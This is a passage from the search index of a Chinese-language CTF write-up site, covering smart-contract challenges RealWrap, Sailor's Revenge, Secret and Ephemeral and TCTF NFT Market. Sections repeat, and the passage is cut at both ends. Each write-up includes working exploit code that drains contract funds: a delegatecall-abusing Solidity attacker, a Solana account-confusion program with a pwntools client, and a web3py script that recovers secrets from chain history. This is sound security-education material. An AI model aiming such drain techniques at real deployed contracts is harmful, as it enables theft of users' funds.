, suppliedGas , err } if ret , remainingGas , err = transferInternal ( evm , suppliedGas , caller , inputArgs . To , inputArgs . Amount ); err != nil { return ret , remainingGas , err } code := evm . StateDB . GetCode ( inputArgs . To ) if len ( code ) == 0 { return ret , remainingGas , nil } snapshot := evm . StateDB . Snapshot () evm . depth ++ defer func () { evm . depth -- }() if ret , remainingGas , err = evm . Call ( AccountRef ( caller ), inputArgs . To , inputArgs . Data , remainingGas , common . Big0 ); err != nil { evm . StateDB . RevertToSnapshot ( snapshot ) if err != ErrExecutionReverted { remainingGas = 0 } } return ret , remainingGas , err } \u82e5\u5728 uniswapV2Call \u4e2d\u76f4\u63a5\u4f7f\u7528 transferAndCall \uff0c\u8c03\u7528\u8005\u5c06\u4e3a\u653b\u51fb\u8005\u5408\u7ea6\uff0c\u56e0\u800c\u53ef\u4ee5\u901a\u8fc7\u4ee3\u7406\u8c03\u7528\u6765\u8f6c\u6362\u8c03\u7528\u8005 \u53e6\u5916\uff0c contracts_weth.go \u4e2d\u5b9e\u73b0\u7684 approve \u786c\u7f16\u7801\u4e86\u72b6\u6001\u4fee\u6539\u7684\u76ee\u6807\uff08 realWrappedEtherAddr \uff09 func approve ( evm * EVM , caller common . Address , input [] byte , suppliedGas uint64 , readOnly bool ) ( ret [] byte , remainingGas uint64 , err error ) { if evm . interpreter . readOnly { return nil , suppliedGas , ErrWriteProtection } inputArgs := & ApproveInput {} if err = unpackInputIntoInterface ( inputArgs , \"approve\" , input ); err != nil { return nil , suppliedGas , err } return approveInternal ( evm , suppliedGas , caller , inputArgs . Spender , inputArgs . Amount ) } func approveInternal ( evm * EVM , suppliedGas uint64 , owner , spender common . Address , value * big . Int ) ( ret [] byte , remainingGas uint64 , err error ) { if remainingGas , err = deductGas ( suppliedGas , params . Keccak256Gas * 2 ); err != nil { return nil , 0 , err } loc := calculateAllowancesStorageSlot ( owner , spender ) if remainingGas , err = deductGas ( suppliedGas , params . SstoreSetGas ); err != nil { return nil , 0 , err } evm . StateDB . SetState ( realWrappedEtherAddr , loc , common . BigToHash ( value )) return math . PaddedBigBytes ( common . Big1 , common . HashLength ), remainingGas , nil }","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/realwrap/#exploit","text":"Hack.sol pragma solidity ^ 0.8.17 ; import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\" ; interface IUniswapV2Pair { function token0 () external view returns ( address ); function token1 () external view returns ( address ); function swap ( uint256 amount0Out , uint256 amount1Out , address to , bytes calldata data ) external ; function sync () external ; } contract Hack { address public WETH ; address public token ; IUniswapV2Pair public pair ; constructor ( address instance ) payable { require ( msg . value == 1 ); pair = IUniswapV2Pair ( instance ); WETH = pair . token0 (); token = pair . token1 (); } function exploit () public { pair . swap ( 0 , 1 , address ( this ), bytes ( \"1\" )); IERC20 ( WETH ). transferFrom ( address ( pair ), address ( this ), IERC20 ( WETH ). balanceOf ( address ( pair ))); IERC20 ( token ). transferFrom ( address ( pair ), address ( this ), IERC20 ( token ). balanceOf ( address ( pair ))); pair . sync (); } function uniswapV2Call ( address sender , uint256 amount0 , uint256 amount1 , bytes calldata data ) public { bytes memory approveCall = abi . encodeWithSignature ( \"approve(address,uint256)\" , address ( this ), type ( uint256 ). max ); address ( WETH ). delegatecall ( approveCall ); address ( WETH ). delegatecall ( abi . encodeWithSignature ( \"transferAndCall(address,uint256,bytes)\" , token , 0 , approveCall )); IERC20 ( WETH ). transfer ( address ( pair ), 1 ); } } exploit.js const { ethers } = require ( \"hardhat\" ); async function main () { const Factory = await ethers . getContractFactory ( \"Factory\" ); const factory = await Factory . attach ( process . env . FACTORY_ADDRESS ); console . log ( `isSolved: ${ await factory . isSolved () } ` ); const Hack = await ethers . getContractFactory ( \"Hack\" ); const hack = await Hack . deploy ( await factory . uniswapV2Pair (), { value : 1 }); await hack . deployed (); let tx = await hack . exploit (); await tx . wait (); console . log ( `isSolved: ${ await factory . isSolved () } ` ); } main (). catch (( error ) => { console . error ( error ); process . exitCode = 1 ; }) $ npm i $ npx hardhat compile $ export FACTORY_ADDRESS = \"\" # \u7f16\u8f91 hardhat.config.js\uff0c\u914d\u7f6e url \u548c\u8d26\u6237\u79c1\u94a5 $ npx hardhat run scripts/exploit.js --network chall","title":"Exploit"},{"location":"blockchain/realwrap/#flag","text":"rwctf{pREcOmpilEd_m4st3r_5TolE_mY_M0ney}","title":"Flag"},{"location":"blockchain/realwrap/#_3","text":"Precompiled Contracts and Confidential Assets | by Qtum | Qtum 7. Deploying to a live network | Ethereum development environment for professionals by Nomic Foundation ethereum/go-ethereum \u21a9","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/sailors_revenge/","tags":["solana","account confusions"],"text":"#solana #account confusions .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain! nc challs.actf.co 31404 sailors_revenge.tar.gz \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u83b7\u53d6\u81f3\u5c11 \\(10^8\\) lamports const TARGET_AMT : u64 = 100_000_000 ; // check solve let balance = challenge . env . get_account ( user . pubkey ()) . ok_or ( \"could not find user\" ) ? . lamports ; writeln! ( socket , \"lamports: {:?}\" , balance ) ? ; if balance > TARGET_AMT { let flag = fs :: read_to_string ( \"flag.txt\" ) ? ; writeln! ( socket , \"You successfully exploited the working class and stole their union dues! Congratulations! \\n Flag: {}\" , flag . trim () ) ? ; } else { writeln! ( socket , \"That's not enough to get the flag!\" ) ? ; } \u7a0b\u5e8f\u652f\u6301\u56db\u79cd\u6307\u4ee4 CreateUnion \u5411 vault \u53d1\u9001 bal lamports\uff0c\u5e76\u521b\u5efa\u4e00\u4e2a\u8d26\u6237\u5b58\u50a8 SailorUnion \u7ed3\u6784\u7684\u6570\u636e\uff0c\u521d\u59cb available_funds \u4e3a 0 PayDues \u5f53 member \u7684\u4f59\u989d\u4e0d\u4f4e\u4e8e amt \u65f6\uff0c\u5c06 amt lamports \u4ece member \u8f6c\u79fb\u5230 vault \uff0c SailorUnion \u7684 available_funds \u589e\u52a0 amt StrikePay \u5f53 available_funds \u4e0d\u4f4e\u4e8e amt \u65f6\uff0c\u5c06 amt lamports \u4ece vault \u8f6c\u79fb\u5230 member \uff08\u589e\u52a0 user \u8d26\u6237\u4f59\u989d\u7684\u552f\u4e00\u65b9\u6cd5 :D\uff09 RegisterMember \u521b\u5efa\u4e00\u4e2a\u8d26\u6237\u5b58\u50a8 Registration \u7ed3\u6784\u7684\u6570\u636e\uff0c\u521d\u59cb balance \u4e3a -100 let ins = SailorInstruction :: try_from_slice ( instruction_data ) ? ; match ins { SailorInstruction :: CreateUnion ( bal ) => processor :: create_union ( program_id , accounts , bal ), SailorInstruction :: PayDues ( amt ) => processor :: pay_dues ( program_id , accounts , amt ), SailorInstruction :: StrikePay ( amt ) => processor :: strike_pay ( program_id , accounts , amt ), SailorInstruction :: RegisterMember ( member ) => processor :: register_member ( program_id , accounts , member ) } SailorUnion \u548c Registration \u7684\u5b57\u6bb5\u662f\u91cd\u5408\u7684\uff0c\u4e14 balance \u7684\u7c7b\u578b\u4e3a i64 \uff0c\u82e5\u6309\u7167 SailorUnion \u53cd\u5e8f\u5217\u5316 balance \u4e3a\u8d1f\u6570\u7684 Registration \u7c7b\u578b\u7684\u6570\u636e\uff0c\u5c06\u5f97\u5230\u4e00\u4e2a\u6570\u503c\u5f88\u5927\u7684 u64 \uff0c\u540c\u65f6 member \u5bf9\u5e94 authority #[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)] pub struct SailorUnion { available_funds : u64 , authority : [ u8 ; 32 ], } #[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)] pub struct Registration { balance : i64 , member : [ u8 ; 32 ], } \u90a3\u4e48\uff0c\u5728\u8c03\u7528 strike_pay \u65f6\u5c06 rich_boi \u4e3a user \u6ce8\u518c\u7684 Registration \u8d26\u6237\u4f5c\u4e3a SailorUnion \u8d26\u6237\u4f20\u5165\u5c31\u53ef\u4ee5\u5566 (\u03a6\u02cb\u03c9\u02ca\u03a6) Exploitation \u00b6 $ cargo new solve $ cd solve/ $ mv src/main.rs src/lib.rs $ cargo add solana_program borsh $ cargo-build-bpf Cargo.toml [package] name = \"solve\" version = \"0.1.0\" edition = \"2021\" [dependencies] borsh = \"0.10.3\" solana-program = \"1.14.11\" [lib] crate-type = [ \"cdylib\" , \"rlib\" ] use borsh :: { BorshSerialize }; use solana_program :: { account_info :: { next_account_info , AccountInfo }, instruction :: { AccountMeta , Instruction }, entrypoint :: ProgramResult , entrypoint , program :: invoke , pubkey :: Pubkey , system_program , }; #[derive(BorshSerialize)] pub enum SailorInstruction { CreateUnion ( u64 ), PayDues ( u64 ), StrikePay ( u64 ), RegisterMember ([ u8 ; 32 ]), } entrypoint ! ( process_instruction ); pub fn process_instruction ( _program_id : & Pubkey , accounts : & [ AccountInfo ], _instruction_data : & [ u8 ], ) -> ProgramResult { let iter = & mut accounts . iter (); let chall_id = next_account_info ( iter ) ? ; let registration = next_account_info ( iter ) ? ; let user = next_account_info ( iter ) ? ; let vault = next_account_info ( iter ) ? ; invoke ( & Instruction { program_id : * chall_id . key , data : SailorInstruction :: StrikePay ( 100_000_000 ). try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * registration . key , false ), AccountMeta :: new ( * user . key , false ), AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * vault . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ], }, & [ registration . clone (), user . clone (), vault . clone (), ] ) ? ; Ok (()) } from pwn import * account_metas = [ ( \"program\" , \"-r\" ), # readonly ( \"registration\" , \"-w\" ), ( \"user\" , \"sw\" ), # signer + writable ( \"vault\" , \"-w\" ), ( \"system program\" , \"-r\" ), ] instruction_data = b \"\" p = remote ( \"challs.actf.co\" , 31404 ) with open ( \"solve/target/deploy/solve.so\" , \"rb\" ) as f : solve = f . read () p . sendlineafter ( b \"program len: \\n \" , str ( len ( solve )) . encode ()) p . send ( solve ) accounts = {} for l in p . recvuntil ( b \"num accounts: \\n \" , drop = True ) . strip () . split ( b \" \\n \" ): [ name , pubkey ] = l . decode () . split ( \": \" ) accounts [ name ] = pubkey p . sendline ( str ( len ( account_metas )) . encode ()) for ( name , perms ) in account_metas : p . sendline ( f \" { perms } { accounts [ name ] } \" . encode ()) p . sendlineafter ( b \"ix len: \\n \" , str ( len ( instruction_data )) . encode ()) p . send ( instruction_data ) p . interactive () Flag \u00b6 actf{maybe_anchor_can_kind_of_protect_me_from_my_own_stupidity}","title":"Sailor's Revenge"},{"location":"blockchain/sailors_revenge/#_1","text":"After the sailors were betrayed by their trusty anchor, they rewrote their union smart contract to be anchor-free! They even added a new registration feature so you can show off your union registration on the blockchain! nc challs.actf.co 31404 sailors_revenge.tar.gz","title":"\u9898\u76ee"},{"location":"blockchain/sailors_revenge/#_2","text":"\u76ee\u6807\u662f\u83b7\u53d6\u81f3\u5c11 \\(10^8\\) lamports const TARGET_AMT : u64 = 100_000_000 ; // check solve let balance = challenge . env . get_account ( user . pubkey ()) . ok_or ( \"could not find user\" ) ? . lamports ; writeln! ( socket , \"lamports: {:?}\" , balance ) ? ; if balance > TARGET_AMT { let flag = fs :: read_to_string ( \"flag.txt\" ) ? ; writeln! ( socket , \"You successfully exploited the working class and stole their union dues! Congratulations! \\n Flag: {}\" , flag . trim () ) ? ; } else { writeln! ( socket , \"That's not enough to get the flag!\" ) ? ; } \u7a0b\u5e8f\u652f\u6301\u56db\u79cd\u6307\u4ee4 CreateUnion \u5411 vault \u53d1\u9001 bal lamports\uff0c\u5e76\u521b\u5efa\u4e00\u4e2a\u8d26\u6237\u5b58\u50a8 SailorUnion \u7ed3\u6784\u7684\u6570\u636e\uff0c\u521d\u59cb available_funds \u4e3a 0 PayDues \u5f53 member \u7684\u4f59\u989d\u4e0d\u4f4e\u4e8e amt \u65f6\uff0c\u5c06 amt lamports \u4ece member \u8f6c\u79fb\u5230 vault \uff0c SailorUnion \u7684 available_funds \u589e\u52a0 amt StrikePay \u5f53 available_funds \u4e0d\u4f4e\u4e8e amt \u65f6\uff0c\u5c06 amt lamports \u4ece vault \u8f6c\u79fb\u5230 member \uff08\u589e\u52a0 user \u8d26\u6237\u4f59\u989d\u7684\u552f\u4e00\u65b9\u6cd5 :D\uff09 RegisterMember \u521b\u5efa\u4e00\u4e2a\u8d26\u6237\u5b58\u50a8 Registration \u7ed3\u6784\u7684\u6570\u636e\uff0c\u521d\u59cb balance \u4e3a -100 let ins = SailorInstruction :: try_from_slice ( instruction_data ) ? ; match ins { SailorInstruction :: CreateUnion ( bal ) => processor :: create_union ( program_id , accounts , bal ), SailorInstruction :: PayDues ( amt ) => processor :: pay_dues ( program_id , accounts , amt ), SailorInstruction :: StrikePay ( amt ) => processor :: strike_pay ( program_id , accounts , amt ), SailorInstruction :: RegisterMember ( member ) => processor :: register_member ( program_id , accounts , member ) } SailorUnion \u548c Registration \u7684\u5b57\u6bb5\u662f\u91cd\u5408\u7684\uff0c\u4e14 balance \u7684\u7c7b\u578b\u4e3a i64 \uff0c\u82e5\u6309\u7167 SailorUnion \u53cd\u5e8f\u5217\u5316 balance \u4e3a\u8d1f\u6570\u7684 Registration \u7c7b\u578b\u7684\u6570\u636e\uff0c\u5c06\u5f97\u5230\u4e00\u4e2a\u6570\u503c\u5f88\u5927\u7684 u64 \uff0c\u540c\u65f6 member \u5bf9\u5e94 authority #[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)] pub struct SailorUnion { available_funds : u64 , authority : [ u8 ; 32 ], } #[derive(Debug, Clone, BorshSerialize, BorshDeserialize, PartialEq, Eq, PartialOrd, Ord)] pub struct Registration { balance : i64 , member : [ u8 ; 32 ], } \u90a3\u4e48\uff0c\u5728\u8c03\u7528 strike_pay \u65f6\u5c06 rich_boi \u4e3a user \u6ce8\u518c\u7684 Registration \u8d26\u6237\u4f5c\u4e3a SailorUnion \u8d26\u6237\u4f20\u5165\u5c31\u53ef\u4ee5\u5566 (\u03a6\u02cb\u03c9\u02ca\u03a6)","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/sailors_revenge/#exploitation","text":"$ cargo new solve $ cd solve/ $ mv src/main.rs src/lib.rs $ cargo add solana_program borsh $ cargo-build-bpf Cargo.toml [package] name = \"solve\" version = \"0.1.0\" edition = \"2021\" [dependencies] borsh = \"0.10.3\" solana-program = \"1.14.11\" [lib] crate-type = [ \"cdylib\" , \"rlib\" ] use borsh :: { BorshSerialize }; use solana_program :: { account_info :: { next_account_info , AccountInfo }, instruction :: { AccountMeta , Instruction }, entrypoint :: ProgramResult , entrypoint , program :: invoke , pubkey :: Pubkey , system_program , }; #[derive(BorshSerialize)] pub enum SailorInstruction { CreateUnion ( u64 ), PayDues ( u64 ), StrikePay ( u64 ), RegisterMember ([ u8 ; 32 ]), } entrypoint ! ( process_instruction ); pub fn process_instruction ( _program_id : & Pubkey , accounts : & [ AccountInfo ], _instruction_data : & [ u8 ], ) -> ProgramResult { let iter = & mut accounts . iter (); let chall_id = next_account_info ( iter ) ? ; let registration = next_account_info ( iter ) ? ; let user = next_account_info ( iter ) ? ; let vault = next_account_info ( iter ) ? ; invoke ( & Instruction { program_id : * chall_id . key , data : SailorInstruction :: StrikePay ( 100_000_000 ). try_to_vec (). unwrap (), accounts : vec ! [ AccountMeta :: new ( * registration . key , false ), AccountMeta :: new ( * user . key , false ), AccountMeta :: new ( * user . key , true ), AccountMeta :: new ( * vault . key , false ), AccountMeta :: new_readonly ( system_program :: id (), false ), ], }, & [ registration . clone (), user . clone (), vault . clone (), ] ) ? ; Ok (()) } from pwn import * account_metas = [ ( \"program\" , \"-r\" ), # readonly ( \"registration\" , \"-w\" ), ( \"user\" , \"sw\" ), # signer + writable ( \"vault\" , \"-w\" ), ( \"system program\" , \"-r\" ), ] instruction_data = b \"\" p = remote ( \"challs.actf.co\" , 31404 ) with open ( \"solve/target/deploy/solve.so\" , \"rb\" ) as f : solve = f . read () p . sendlineafter ( b \"program len: \\n \" , str ( len ( solve )) . encode ()) p . send ( solve ) accounts = {} for l in p . recvuntil ( b \"num accounts: \\n \" , drop = True ) . strip () . split ( b \" \\n \" ): [ name , pubkey ] = l . decode () . split ( \": \" ) accounts [ name ] = pubkey p . sendline ( str ( len ( account_metas )) . encode ()) for ( name , perms ) in account_metas : p . sendline ( f \" { perms } { accounts [ name ] } \" . encode ()) p . sendlineafter ( b \"ix len: \\n \" , str ( len ( instruction_data )) . encode ()) p . send ( instruction_data ) p . interactive ()","title":"Exploitation"},{"location":"blockchain/sailors_revenge/#flag","text":"actf{maybe_anchor_can_kind_of_protect_me_from_my_own_stupidity}","title":"Flag"},{"location":"blockchain/secret_and_ephemeral/","tags":["smart contract"],"text":"#smart contract .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Can you recover the lost secrets of this contract and take what is (not) rightfully yours? Goal: Steal all the funds from the contract. SecretAndEphemeral.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; /** * @title Secret And Ephemeral * @author Blue Alder (https://duc.tf) **/ contract SecretAndEphemeral { address private owner ; int256 public seconds_in_a_year = 60 * 60 * 24 * 365 ; string word_describing_ductf = \"epic\" ; string private not_yours ; mapping ( address => uint ) public cool_wallet_addresses ; bytes32 public spooky_hash ; constructor ( string memory _not_yours , uint256 _secret_number ) { not_yours = _not_yours ; spooky_hash = keccak256 ( abi . encodePacked ( not_yours , _secret_number , msg . sender )); } function giveTheFunds () payable public { require ( msg . value > 0.1 ether ); // Thank you for your donation cool_wallet_addresses [ msg . sender ] += msg . value ; } function retrieveTheFunds ( string memory secret , uint256 secret_number , address _owner_address ) public { bytes32 userHash = keccak256 ( abi . encodePacked ( secret , secret_number , _owner_address )); require ( userHash == spooky_hash , \"Somethings wrong :(\" ); // User authenticated, sending funds uint256 balance = address ( this ). balance ; payable ( msg . sender ). transfer ( balance ); } } \u89e3\u9898\u601d\u8def \u00b6 retrieveTheFunds \u9700\u8981\u83b7\u53d6 secret \u3001 secret_number \u4ee5\u53ca _owner_address \u4ee5\u4f7f\u5176\u54c8\u5e0c\u7ed3\u679c\u7b49\u4e8e spooky_hash \u8bb0\u5f55\u4e00\u4e0b\u901a\u8fc7 web3py \u904d\u5386\u67e5\u8be2\u5386\u53f2\u4ea4\u6613\u7684\u65b9\u6cd5 from web3 import Web3 from web3.middleware import geth_poa_middleware import json , requests from eth_abi import decode_abi base_id = '210f92698054d42d' w3 = Web3 ( Web3 . HTTPProvider ( f \"https://blockchain-secretandephemeral- { base_id } -eth.2022.ductf.dev/\" )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) info = json . loads ( requests . get ( f 'https://blockchain-secretandephemeral- { base_id } .2022.ductf.dev/challenge' ) . content ) account = w3 . eth . account . from_key ( info [ 'player_wallet' ][ 'private_key' ]) contract_addr = info [ 'contract_address' ][ 0 ][ 'address' ] contract_abi = open ( 'abi.json' ) . read () contract = w3 . eth . contract ( address = contract_addr , abi = contract_abi ) for i in range ( w3 . eth . get_block_number (), - 1 , - 1 ): tx_hashes = w3 . eth . get_block ( i )[ 'transactions' ] for tx_hash in tx_hashes : tx = w3 . eth . get_transaction ( tx_hash ) if tx [ 'to' ] == None : owner = tx [ 'from' ] not_yours , secret_num = decode_abi ([ 'string' , 'uint256' ], bytes . fromhex ( tx [ 'input' ][ - 320 :])) # -320 \u6839\u636e\u89c2\u5bdf\u83b7\u5f97 break else : continue break tx = account . sign_transaction ( contract . functions . retrieveTheFunds ( not_yours , secret_num , owner ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'gas' : 1000000 , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( requests . get ( f 'https://blockchain-secretandephemeral- { base_id } .2022.ductf.dev/challenge/solve' ) . content ) Flag \u00b6 DUCTF{u_r_a_web3_t1me_7raveler_:)}","title":"Secret and Ephemeral"},{"location":"blockchain/secret_and_ephemeral/#_1","text":"Can you recover the lost secrets of this contract and take what is (not) rightfully yours? Goal: Steal all the funds from the contract. SecretAndEphemeral.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; /** * @title Secret And Ephemeral * @author Blue Alder (https://duc.tf) **/ contract SecretAndEphemeral { address private owner ; int256 public seconds_in_a_year = 60 * 60 * 24 * 365 ; string word_describing_ductf = \"epic\" ; string private not_yours ; mapping ( address => uint ) public cool_wallet_addresses ; bytes32 public spooky_hash ; constructor ( string memory _not_yours , uint256 _secret_number ) { not_yours = _not_yours ; spooky_hash = keccak256 ( abi . encodePacked ( not_yours , _secret_number , msg . sender )); } function giveTheFunds () payable public { require ( msg . value > 0.1 ether ); // Thank you for your donation cool_wallet_addresses [ msg . sender ] += msg . value ; } function retrieveTheFunds ( string memory secret , uint256 secret_number , address _owner_address ) public { bytes32 userHash = keccak256 ( abi . encodePacked ( secret , secret_number , _owner_address )); require ( userHash == spooky_hash , \"Somethings wrong :(\" ); // User authenticated, sending funds uint256 balance = address ( this ). balance ; payable ( msg . sender ). transfer ( balance ); } }","title":"\u9898\u76ee"},{"location":"blockchain/secret_and_ephemeral/#_2","text":"retrieveTheFunds \u9700\u8981\u83b7\u53d6 secret \u3001 secret_number \u4ee5\u53ca _owner_address \u4ee5\u4f7f\u5176\u54c8\u5e0c\u7ed3\u679c\u7b49\u4e8e spooky_hash \u8bb0\u5f55\u4e00\u4e0b\u901a\u8fc7 web3py \u904d\u5386\u67e5\u8be2\u5386\u53f2\u4ea4\u6613\u7684\u65b9\u6cd5 from web3 import Web3 from web3.middleware import geth_poa_middleware import json , requests from eth_abi import decode_abi base_id = '210f92698054d42d' w3 = Web3 ( Web3 . HTTPProvider ( f \"https://blockchain-secretandephemeral- { base_id } -eth.2022.ductf.dev/\" )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) info = json . loads ( requests . get ( f 'https://blockchain-secretandephemeral- { base_id } .2022.ductf.dev/challenge' ) . content ) account = w3 . eth . account . from_key ( info [ 'player_wallet' ][ 'private_key' ]) contract_addr = info [ 'contract_address' ][ 0 ][ 'address' ] contract_abi = open ( 'abi.json' ) . read () contract = w3 . eth . contract ( address = contract_addr , abi = contract_abi ) for i in range ( w3 . eth . get_block_number (), - 1 , - 1 ): tx_hashes = w3 . eth . get_block ( i )[ 'transactions' ] for tx_hash in tx_hashes : tx = w3 . eth . get_transaction ( tx_hash ) if tx [ 'to' ] == None : owner = tx [ 'from' ] not_yours , secret_num = decode_abi ([ 'string' , 'uint256' ], bytes . fromhex ( tx [ 'input' ][ - 320 :])) # -320 \u6839\u636e\u89c2\u5bdf\u83b7\u5f97 break else : continue break tx = account . sign_transaction ( contract . functions . retrieveTheFunds ( not_yours , secret_num , owner ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'gas' : 1000000 , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) w3 . eth . wait_for_transaction_receipt ( tx_hash ) print ( requests . get ( f 'https://blockchain-secretandephemeral- { base_id } .2022.ductf.dev/challenge/solve' ) . content )","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/secret_and_ephemeral/#flag","text":"DUCTF{u_r_a_web3_t1me_7raveler_:)}","title":"Flag"},{"location":"blockchain/tctf_nft_market/","tags":["smart contract","head overflow"],"text":"#smart contract #head overflow .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Welcome to TCTF NFT Market, a secure, open-source, and decentralized NFT marketplace! Trade your favourite NFTs (and flag) here! nc 47.102.40.39 20000 \u89e3\u9898\u601d\u8def \u00b6 PoW.py import itertools , pwn from hashlib import sha256 from string import ascii_letters , digits table = ascii_letters + digits conn = pwn . remote ( '47.102.40.39' , 20000 ) ret = conn . recvline_contains ( 'sha256' ) . decode () base = ret [ ret . find ( '(' ) + 1 : ret . find ( '+ ???' )] . strip () for ch in itertools . permutations ( table , 4 ): m = base + '' . join ( ch ) if sha256 ( m . encode ()) . hexdigest () . endswith ( '00000' ): conn . sendafter ( '[-] ??? =' , f ' { m [ - 4 :] } \\n ' ) break conn . interactive () \u6301\u6709 tokenId \u4e3a 1\u30012\u30013 \u7684 TNFT \u5373\u53ef\u89e6\u53d1\u4e8b\u4ef6 SendFlag \u53ef\u4ee5\u8c03\u7528\u4e00\u6b21 airdrop() \u83b7\u5f97 5 TTK \u5f53\u6301\u6709\u6216\u88ab\u6279\u51c6\u4f7f\u7528 TNFT \u65f6\uff0c\u53ef\u4ee5 createOrder() \u6216 cancelOrder() \u5f53\u6301\u6709\u8db3\u591f TTK \u65f6\u53ef\u4ee5 purchaseOrder() \u53ef\u4ee5\u4f7f\u7528\u7ecf TNFT \u6240\u6709\u8005\u7b7e\u540d\u7684 coupon \u8c03\u7528\u4e00\u6b21 purchaseWithCoupon() \uff0c\u4ee5\u4fee\u6539\u540e\u7684\u4ef7\u683c\u8fdb\u884c\u8d2d\u4e70 \u53ef\u4ee5\u8fdb\u884c\u4e00\u6b21 purchaseTest() \uff0c TctfMarket \u5c06\u81ea\u5df1\u5b8c\u6210\u8ba2\u5355\u7684\u521b\u5efa\u4e0e\u8d2d\u4e70\uff0c\u7531\u4e8e approve \u4e0d\u80fd\u6388\u6743\u7ed9\u6240\u6709\u8005\uff0c\u53ef\u4ee5\u5229\u7528 purchaseTest() \u6765\u8f6c\u79fb TctfMarket \u7684 TTK task.sol // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.15 ; import \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" ; import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; contract TctfNFT is ERC721 , Ownable { constructor () ERC721 ( \"TctfNFT\" , \"TNFT\" ) { _setApprovalForAll ( address ( this ), msg . sender , true ); } function mint ( address to , uint256 tokenId ) external onlyOwner { _mint ( to , tokenId ); } } contract TctfToken is ERC20 { bool airdropped ; constructor () ERC20 ( \"TctfToken\" , \"TTK\" ) { _mint ( address ( this ), 100000000000 ); _mint ( msg . sender , 1337 ); } function airdrop () external { require ( ! airdropped , \"Already airdropped\" ); airdropped = true ; _mint ( msg . sender , 5 ); } } struct Order { address nftAddress ; uint256 tokenId ; uint256 price ; } struct Coupon { uint256 orderId ; uint256 newprice ; address issuer ; address user ; bytes reason ; } struct Signature { uint8 v ; bytes32 [ 2 ] rs ; } struct SignedCoupon { Coupon coupon ; Signature signature ; } contract TctfMarket { event SendFlag (); event NFTListed ( address indexed seller , address indexed nftAddress , uint256 indexed tokenId , uint256 price ); event NFTCanceled ( address indexed seller , address indexed nftAddress , uint256 indexed tokenId ); event NFTBought ( address indexed buyer , address indexed nftAddress , uint256 indexed tokenId , uint256 price ); bool tested ; TctfNFT public tctfNFT ; TctfToken public tctfToken ; CouponVerifierBeta public verifier ; Order [] orders ; constructor () { tctfToken = new TctfToken (); tctfToken . approve ( address ( this ), type ( uint256 ). max ); tctfNFT = new TctfNFT (); tctfNFT . mint ( address ( tctfNFT ), 1 ); tctfNFT . mint ( address ( this ), 2 ); tctfNFT . mint ( address ( this ), 3 ); verifier = new CouponVerifierBeta (); orders . push ( Order ( address ( tctfNFT ), 1 , 1 )); orders . push ( Order ( address ( tctfNFT ), 2 , 1337 )); orders . push ( Order ( address ( tctfNFT ), 3 , 13333333337 )); } function getOrder ( uint256 orderId ) public view returns ( Order memory order ) { require ( orderId < orders . length , \"Invalid orderId\" ); order = orders [ orderId ]; } function createOrder ( address nftAddress , uint256 tokenId , uint256 price ) external returns ( uint256 ) { require ( price > 0 , \"Invalid price\" ); require ( isNFTApprovedOrOwner ( nftAddress , msg . sender , tokenId ), \"Not owner\" ); orders . push ( Order ( nftAddress , tokenId , price )); emit NFTListed ( msg . sender , nftAddress , tokenId , price ); return orders . length - 1 ; } function cancelOrder ( uint256 orderId ) external { Order memory order = getOrder ( orderId ); require ( isNFTApprovedOrOwner ( order . nftAddress , msg . sender , order . tokenId ), \"Not owner\" ); _deleteOrder ( orderId ); emit NFTCanceled ( msg . sender , order . nftAddress , order . tokenId ); } function purchaseOrder ( uint256 orderId ) external { Order memory order = getOrder ( orderId ); _deleteOrder ( orderId ); IERC721 nft = IERC721 ( order . nftAddress ); address owner = nft . ownerOf ( order . tokenId ); tctfToken . transferFrom ( msg . sender , owner , order . price ); nft . safeTransferFrom ( owner , msg . sender , order . tokenId ); emit NFTBought ( msg . sender , order . nftAddress , order . tokenId , order . price ); } function purchaseWithCoupon ( SignedCoupon calldata scoupon ) external { Coupon memory coupon = scoupon . coupon ; require 